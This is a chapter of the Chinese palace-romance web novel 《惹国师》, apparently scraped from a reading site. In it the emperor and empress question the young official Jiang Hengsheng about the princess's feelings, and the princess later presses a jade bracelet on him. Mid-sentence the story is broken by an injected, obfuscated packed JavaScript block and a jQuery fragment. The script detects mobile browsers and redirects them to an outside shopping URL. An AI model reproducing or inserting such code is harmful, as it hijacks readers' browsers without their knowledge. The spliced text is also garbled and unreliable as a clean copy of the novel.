57. 玉镯
作品:《惹国师》 温崇俊离开温书宁的房间后,宋淑怡率先跟上,江珩生落在最后,走出去时顺带关上门。
很明显,温崇俊方才的疑虑并没有打消。
但是,他既然要问话,自然不可能就在院子里问。
“进去说吧。”温崇俊朝着凤仪宫的正殿扬了扬下巴,对江珩生说。
“是。”江珩生应下之后,并未多说什么,只跟着温崇俊一同进了凤仪宫的正殿。
宋淑怡落后几步,她扫了一眼院内守着的宫人们,挥挥手叫他们都下去。
待宫人们都退下之后,她观察了一下四周是否还有人,这才往殿内走去。
殿内的宫人也同样在温崇俊的示意下退了下去,烛光闪烁之间的天地,只剩下温崇俊、宋淑怡和江珩生三人。
江珩生大约能猜到温崇俊是想问些什么的,但他并没有选择先开口,而是等着温崇俊自己发问。
一旁的宋淑怡有些紧张,她既觉得应该让温崇俊知道关于温书宁的事,又难免觉得感情之事,还是少一些人知道的好。
谁又知道日后怎么样呢?也许温书宁与江珩生之间不会再有以后,那也是说不好的。
温崇俊也没有绕弯子,他的目光停留在江珩生脸上,直接发问:“珩生,你与宁宁究竟是怎么回事?”
宋淑怡听见温崇俊这般直接地问,握紧拳头,心中更加紧张。
她看了江珩生一眼,就想替他们遮掩过去。
谁知江珩生朝宋淑怡摇了摇头,上前一步,对温崇俊行了个礼,垂下眼看着地上,坦白说:“臣有一事,一直未能告诉皇上。”
宋淑怡眼皮一跳,知道江珩生是打算说出来的,暗暗叹了口气,并未阻止。
温崇俊听了江珩生的话,面露惊讶,问:“是关于宁宁的事吗?”
江珩生点点头,垂眸思索片刻,将之前对宋淑怡讲过的那些话,稍微整理了一番,又对温崇俊说了一遍。
温崇俊是知道温书宁偶尔会跑到星源宫去的,但其中细节,他也不甚清楚。
所以,他倒也没想到,温书宁竟是之前就对江珩生有感情的。
不过,温崇俊仔细一想。
若温书宁喜欢的是江珩生,他心中倒是挺高兴的。
温崇俊这般想着,嘴唇勾起,正准备露出笑容。
“但是……”
没等温崇俊笑起来,便听得江珩生又开口了。
“珩生,你如今讲话怎么大喘气的。”温崇俊目光停留在江珩生身上,还没有意识到江珩生后边要说的话可能是什么,只打趣道。
“但是今日殿下又来星源宫找臣了,她说……她并不是心悦臣,之前都是误会,只是因为她瞧臣生得好看,并不是男女之情。”江珩生听了温崇俊的话,带着歉意看了他一眼,移开眼去,也不再迟疑,只将今日温书宁所说的话,转告给温崇俊和宋淑怡。
温崇俊这正要高兴呢,谁知竟又听见了这个消息,当场愣在了原地。
他方才听见江珩生后边还有话的时候,真的没想到竟是要说这些。
宋淑怡也十分震惊,她原本还当温书宁和江珩生之间定然是有情意的。
否则为什么放着平日里喜欢玩的宫外不去,放着平日里喜欢看的话本不看,就只顾着跑到星源宫去。
星源宫那地方,除了与江珩生说说话,还能做什么?任谁看来,那都是为了别的事、别的人,结果竟然只是把江珩生当朋友吗?
温崇俊压下到了嘴角的笑意,他一时间不知道该说什么好。
他转头与同样愣住的宋淑怡对视,二人不必说话,便已然知道对方心里头在想些什么。
这听着倒也是温书宁的行事风格。
宋淑怡是温书宁的母亲,对她自然也是颇为了解的。
她在心底暗暗感慨了一番之后,目光移到江珩生身上,眼神中染上几分歉意。
仔细想来,这件事打一开始,就是温书宁突然跑去招惹江珩生。
瞧人家好看,便一直围在江珩生身边,还误解了自己对江珩生的感情,将对方耍得……动了心。
如今却说,不是这样的,只是把他当朋友,瞧他好看罢了。
这若非温书宁是他们自己的女儿,温崇俊和宋淑怡他们肯定得站在自己女儿那边,怕是现在已经在指责她不负责任了。
想到这一点,温崇俊和宋淑怡顿时有些不好意思。
宋淑怡满含歉意地看着江珩生,她是把江珩生当半个孩子的,自认了解他的脾性,大约也能看出来,他对温书宁也是动了感情的。
这都是因为温书宁的招惹,结果现在温书宁自己抽身了,虽说后来也同江珩生说明白,却也叫人误会许久。
温崇俊也是十分尴尬,他一时间也不好说什么,朝着宋淑怡使了使眼色,想叫她去说些什么。
宋淑怡本就想拉着江珩生宽慰一番,瞧见温崇俊使的颜色,略一思索,上前拉着江珩生走到角落去。
她眼含歉疚地看着江珩生,放轻声音,说:“珩生,你只当这里没有什么皇上皇后的,都是自家人。你就告诉我,宁宁的事情,你究竟是怎么想的?”
江珩生自然不会把真相说出口。
温书宁都已经说了,只是朋友,只是瞧他好看。
那他刚刚发现的那些感情,最好就此烂在肚子里,永远都不要告诉旁人。
如今听见宋淑怡问的话,江珩生后退一步,朝着宋淑怡行礼,说:“身为臣子,自然是一切都听殿下的。”
一切都听温书宁的。
那就是温书宁当他是朋友,那就是朋友。
若哪天温书宁又想喜欢他了,那他也听温书宁的。
至于自己的感受,这个宋淑怡想知道的答案,江珩生并未直接回答。
其实,倒也不能说没有回答。
江珩生的意思也很明显,温书宁的意思,就是他的意思。
无论如何,他都听温书宁的。
可若是对温书宁全然没有感情,江珩生本可以直接划清界限,在温崇俊和宋淑怡面前就感情一事彻底断了与温书宁的可能。
定然还是……多少有一点心动的。
宋淑怡哪里会看不明白,她看着江珩生朝自己行礼的样子,欲言又止。
因着方才江珩生说话的声音并未压低,也没有避着温崇俊的打算。
所以温崇俊是把江珩生方才这一番话听得一清二楚的。
温崇俊不觉想起江珩生的父亲谢牧远来,当初谢牧远对他的发妻也是情深似海,万事都以她的意思为先,丝毫不考虑自己。
想来是父子传承,江珩生动了心之后,才会如同当年的谢牧远一般。
只是谢牧远夫妇二人是两情相悦,江珩生与温书宁却是不好说。
江珩生的态度已然明朗,只是温书宁那边。
说实话,温崇俊有时候也不大确定,温书宁究竟是真的只把江珩生当朋友,还是回过神来觉得之前的举动不好,对江珩生造成了困扰,这才说了那番话。
罢了,这些事都尚且不能确定。
现在不是想这个的时候。
温崇俊在心底暗暗想着。
随后,温崇俊压下心底翻涌的思绪,朝着江珩生走了过去。
他在江珩生面前站定,微微皱眉,目光移到江
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17466180|199328||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
珩生的脸上,目光之中难免带上几分对江珩生的心疼。
“珩生。”温崇俊唤了江珩生一声,垂眸压下心底翻涌思绪,不叫自己回想起当年旧事,稳住了情绪,这才抬眸看着江珩生,继续往下说,“你父亲、母亲临终将你托付给我,嘱托我好好照顾你,如今碰到你的事情,我也很应该上心。”
“皇上对臣,已经是很好很好,不必因为父亲的身亡而影响了您的判断。”江珩生低着头,他其实能听出来温崇俊的意思,但是他也知道,如今说什么其实都没有意义。
温书宁既然承认了只是当做朋友,那至少证明她如今确实是这样想的。
若是日后改变主意,那就是日后的事情,江珩生其实并不觉得有什么。
江珩生自己在感情的事情上,也不是第一时间便认识到自己是喜欢温书宁的。
“不,这没有影响我的判断。”温崇俊摇摇头,又叹了口气,他对江珩生说,“我只是觉得,不能因为宁宁是我的女儿,便叫你吃了亏。如此,我想起你父亲的时候,如何能心安?他是为我而死的。”
“皇上不必自责,父亲的死,应该归咎于严素月排挤异己、陷害忠良之上,如何能算到您的头上呢。”江珩生也不是说好听的话哄温崇俊,他确实也是这样想的。
千错万错,都是那个杀人凶手的错,怎么能怪到同样被严素月欺凌的温崇俊身上。
“你不必有压力,我不是想干涉宁宁的想法。我只是觉得你不必因为君臣之分,将自己放在太过卑微的位置。”温崇俊略顿了顿,才接着往下说,“你可以告诉我,你是如何想的?不必有顾虑。”
江珩生不知道如何回答,他其实并没有顾虑,也没有说假话。
他察觉自己心悦温书宁不假,可那也得是温书宁也察觉自己对他有意。
若是没有,那他再如何对温崇俊和宋淑怡表态,都没有意义。
决定二人日后的感情如何走下去的人,是温书宁。
不是江珩生自己,也不是温崇俊和宋淑怡这对父母。
江珩生并没有新的答案,而是将方才的回答重复了一遍。
“一切都听殿下的。”
“哎呀,你怎么总说听我的呀!”
温书宁撇撇嘴,她趴在江珩生房间的窗沿,眼睛圆溜溜地盯着正盛开的梅花。
真是的。
怎么第一次往江珩生这里送花,就带了人家院子里有的啊!
温书宁在心底嘀咕着,化尴尬为食欲,目光移到桌上的点心盘子上,伸手越过放了玉镯的盒子,取走一块糕点。
“你难道没有一点自己的爱好吗?”温书宁嚼吧嚼吧糕点,咽下去之后,才看着江珩生问。
“我没有什么特别的爱好。”江珩生摇了摇头,目光移到桌上的玉镯上,有些无奈地提起这个玉镯,“殿下,这个玉镯,你就拿回去吧。下次也莫要再带过来了,带花来就很好。”
“我不。”温书宁一瞪眼,她笃定江珩生一定有自己的喜好,只是不乐意告诉她。
至于不乐意告诉温书宁的缘由,她猜测应当是怕她真的买了礼物送过来。
到时候江珩生就不好以不喜欢、不实用为借口,拒绝她的礼物了。
“我就要送。”温书宁想到这里,更是坚定地说。
“殿下。”江珩生十分无奈地唤了温书宁一声,“您总是送东西给我,反倒是我没送过你什么东西,实在是……”
江珩生还未说完,温书宁便一把趴到桌上,满脸好奇,一双眼睛更是亮晶晶地直盯着他,二人的距离也因为她的动作而拉近了许多。
“你是要送我什么礼物吗?”

